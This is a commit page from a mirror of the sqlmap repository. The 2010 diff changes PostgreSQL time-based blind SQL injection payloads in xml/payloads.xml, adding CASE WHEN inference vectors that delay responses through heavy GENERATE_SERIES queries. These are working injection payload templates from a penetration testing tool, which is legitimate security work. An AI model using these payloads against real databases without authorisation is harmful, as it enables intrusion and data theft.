sqlmapproject/sqlmap
1
1
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2025-02-26 00:30:38 +03:00
Code Issues Packages Projects Releases Wiki Activity

added vectors for PostgresSQL time-based payloads

Browse Source
This commit is contained in:
Miroslav Stampar 2010-12-07 11:57:33 +00:00
parent f9085e01e7
commit 485981c619
1 changed files with 5 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
xml/payloads.xml
View File

@ -1267,7 +1267,7 @@ Formats:
<clause>0</clause>
<where>1</where>
<request>
<payload>; SELECT [RANDNUM] WHERE EXISTS(SELECT * FROM GENERATE_SERIES(1, 10000000));</payload>
<payload>; SELECT [RANDNUM] WHERE EXISTS(SELECT * FROM GENERATE_SERIES(1, 3000000));</payload>
<comment>--</comment>
</request>
<response>
@ -1504,8 +1504,9 @@ Formats:
<risk>1</risk>
<clause>1,2,3</clause>
<where>1</where>
<vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1, 3000000)) ELSE [RANDNUM] END)</vector>
<request>
<payload>AND EXISTS(SELECT * FROM GENERATE_SERIES(1, 10000000))</payload>
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1, 3000000))</payload>
</request>
<response>
<time>[DELAYED]</time>
@ -1661,8 +1662,9 @@ Formats:
<risk>3</risk>
<clause>1,2,3</clause>
<where>2</where>
<vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1, 3000000)) ELSE [RANDNUM] END)</vector>
<request>
<payload>OR EXISTS(SELECT * FROM GENERATE_SERIES(1, 10000000))</payload>
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1, 3000000))</payload>
</request>
<response>
<time>[DELAYED]</time>